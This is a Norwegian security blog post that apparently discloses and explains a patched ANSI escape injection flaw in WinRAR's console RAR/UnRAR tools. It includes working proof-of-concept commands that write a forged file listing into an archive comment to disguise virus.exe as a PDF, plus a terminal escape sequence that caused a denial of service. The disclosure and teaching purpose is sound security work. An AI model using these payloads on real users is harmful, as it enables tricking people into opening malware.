Fagblogg | NetSecurity

ANSI Escape Injection sårbarhet i WinRAR

Skrevet av Siddharth Dushantha | 16. august 2024 13:09:42 Z

Oversikt

28. februar 2024 lanserte RARLAB en oppdatering for WinRAR, som fikset en ANSI escape injection sårbarhet som jeg hadde funnet i konsollversjonene av RAR og UnRAR, som påvirket versjon 6.24 og tidligere. Denne sårbarheten, sporet som CVE-2024-33899 for Linux og Unix systemer og CVE-2024-36052 for Windows, gjorde det mulig for angripere å forfalske fil listen eller utføre en lokal tjeneste angrep (kun Linux og Unix).

I dette innlegget vil jeg gå gjennom hvordan denne sårbarheten fungerer og demonstrere et "proof of concept". Selv om jeg demonstrerer dette på et Linux system, så kan det samme gjøres på et Windows eller Unix system.

Bakgrunn

Hvis du er kjent med kommandolinjen i Linux, Unix eller Windows, er du kanskje kjent med programmer som Vim og Neofetch. Disse programmene bruker ANSI escape sekvenser til å endre tekst og bakgrunnsfarge, styre markøren og lage GUI i terminalen.

Selv om ANSI escape-sekvenser kan brukes til å lage kule programmer for terminalen, kan de også brukes for ondsinnede, som vist i Stok Fredriks DEFCON-foredrag.

WinRAR tilbyr konsoll RAR og UnRAR som kan brukes til å opprette og pakke ut RAR-arkiver. Som vist på bildet nedenfor, støtter RAR-filer kommentarer, som vises når innholdet i arkivfilen listes opp ved hjelp av unrar l demo.rar.

 

For å sjekke om ANSI escape-sekvenser er filtrert ut eller ikke i kommentarfeltet, kan vi bruke en enkel payload som viser `THIS IS GREEN` i fargen grønn.

printf  'Hello \033[32mTHIS IS GREEN\033[0m\007' | rar c demo.rar

 

Når vi kjører rar l demo.rar, kan vi se at THIS IS GREEN blir skrevet ut i grønt. Dette viser at kommentarfeltet ikke filtrerer ANSI escape-sekvenser i utdataene.

 

Utnyttelse

Sårbarheten kan utnyttes på mange forskjellige måter, men vi vil bruke et angrep som passer for WinRAR som demonstrasjon.

Først legger vi filen virus.exe inn i en rar fil:

$ ls  

virus.exe

$ rar a demo.rar virus.exe

 

Deretter legger vi til følgende payload i kommentarfeltet:

printf  'Archive: demo.rar\nDetails: RAR 5\n\nAttributes     Size       Date     Time   Name\n----------- --------- ---------- ----- ---------\n-rw-r--r--         7   2024-05-19 16:26   notvirus.pdf\n----------- ---------   ---------- -----   ---------\n                   7                   1\e[8m' | rar c demo.rar

 

 

Denne payloaden inneholder en falsk liste der virus.exe er erstattet med notvirus.pdf. ANSI escape-sekvensen \e[8m brukes til å skjule alt innhold etter kommentarseksjonen i utdataene. Resultatet er at den faktiske filoppføringen skjules, og vår falske filoppføring vises. I skjermbildet nedenfor kan du se et stort mellomrom mellom utdataene og shell prompten. Dette mellomrommet skyldes at den opprinnelige fillisten blir skrevet ut, men usynliggjort ved hjelp av \e[8m. Erfarne kommandolinjebrukere vil kanskje synes dette er mistenkelig, men mindre erfarne brukere kan lett bli lurt.

Som nevnt, er det to CVE'er knyttet til denne sårbarheten på grunn av dens betydelig høyere alvorlighetsgrad på Linux og Unix systemer sammenlignet med Windows. Dette skyldes at visse ANSI escape sekvenser kan brukes til å oppnå et lokalt tjeneste angrep på Linux og Unix systemer.

Payload'en nedenfor, som er hentet fra Stok Fredrik sin Black Hat-slides, fanger opp alle markørbevegelser og skriver ut koordinatene til terminalen. Dette fungerer bare på Linux- og Unix-systemer. Da det ble testet på en Kali Linux VM, ble markørkoordinatene sendt ut til terminalen, og VM-en ble senere frosset.

 

\033[ ?1001h\033[?1002h\033[?1003h\033[?1004h\033[?1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\

 

Selv om det er begrenset forskning på ANSI escape sekvenser, er det tydelig at angripere med en dyp forståelse av ANSI escape sekvenser kan utnytte dem på en kreativ, ondsinnet og noen ganger til og med irriterende måte.